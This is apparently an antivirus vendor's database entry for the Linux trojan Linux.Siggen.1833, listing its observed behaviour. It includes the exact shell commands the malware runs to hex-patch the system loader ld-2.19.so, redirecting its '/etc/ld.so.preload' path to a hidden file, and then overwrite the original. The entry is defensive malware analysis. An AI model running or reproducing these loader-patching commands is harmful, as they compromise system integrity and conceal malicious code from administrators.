Linux.Siggen.1833

Added to the Dr.Web virus database: 2019-06-14

Virus description added: 2019-06-14

Malicious functions:

Launches itself as a daemon

Launches processes:

sh -c strings /lib/x86_64-linux-gnu/ld-2.19.so | grep /etc/ld.so.preload
strings /lib/x86_64-linux-gnu/ld-2.19.so
grep /etc/ld.so.preload
sh -c hexdump -ve '1/1 \"%.2X\"' /lib/x86_64-linux-gnu/ld-2.19.so | sed \"s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g\" | xxd -r -p > /lib/x86_64-linux-gnu/ld-2.19.so.tm
hexdump -ve 1/1 \"%.2X\" /lib/x86_64-linux-gnu/ld-2.19.so
sed s/2F6574632F6C642E736F2E7072656C6F616400/2F7362696E2F2E696675702D6C6F63616C0000/g
xxd -r -p
chmod --reference /lib/x86_64-linux-gnu/ld-2.19.so /lib/x86_64-linux-gnu/ld-2.19.so.tmp
mv /lib/x86_64-linux-gnu/ld-2.19.so.tmp /lib/x86_64-linux-gnu/ld-2.19.so

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects OS information